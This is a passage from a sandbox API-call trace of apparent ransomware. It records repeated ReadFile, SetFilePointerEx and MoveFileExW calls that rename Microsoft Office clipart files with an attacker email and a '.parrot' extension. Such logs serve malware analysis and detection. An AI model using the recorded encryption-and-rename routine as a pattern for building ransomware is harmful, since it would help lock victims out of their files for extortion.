lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e0, lpOverlapped=0x0) returned 1 [0128.258] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.261] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.262] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.263] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.264] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9bc, lpOverlapped=0x0) returned 1 [0128.264] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.267] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.267] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.268] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.268] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd14, lpOverlapped=0x0) returned 1 [0128.269] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.272] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.272] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.274] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.274] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10c8, lpOverlapped=0x0) returned 1 [0128.275] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.278] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.278] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.279] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc9c, lpOverlapped=0x0) returned 1 [0128.280] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.282] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.282] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.284] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.284] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12c8, lpOverlapped=0x0) returned 1 [0128.285] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.288] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.288] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.290] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1384, lpOverlapped=0x0) returned 1 [0128.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.293] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.293] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.295] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.295] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x138c, lpOverlapped=0x0) returned 1 [0128.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.300] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.300] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.301] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.301] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0128.302] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.306] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.306] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.307] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.307] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1306, lpOverlapped=0x0) returned 1 [0128.308] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.312] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.312] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.313] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.313] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6906, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6906, lpOverlapped=0x0) returned 1 [0128.314] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.317] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.317] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.319] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.319] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7114, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7114, lpOverlapped=0x0) returned 1 [0128.320] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.326] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.326] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.327] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.327] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d74, lpOverlapped=0x0) returned 1 [0128.328] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.335] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.335] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.336] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.336] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x57f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x57f4, lpOverlapped=0x0) returned 1 [0128.337] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.340] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.340] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.342] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.342] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f34, lpOverlapped=0x0) returned 1 [0128.343] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.346] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.346] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.348] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.348] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4354, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4354, lpOverlapped=0x0) returned 1 [0128.390] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.390] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.393] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.393] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.394] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.394] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0128.395] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.399] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.399] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.400] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.401] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4124, lpOverlapped=0x0) returned 1 [0128.402] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.402] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.405] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.405] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.406] SetFilePointerEx (in: 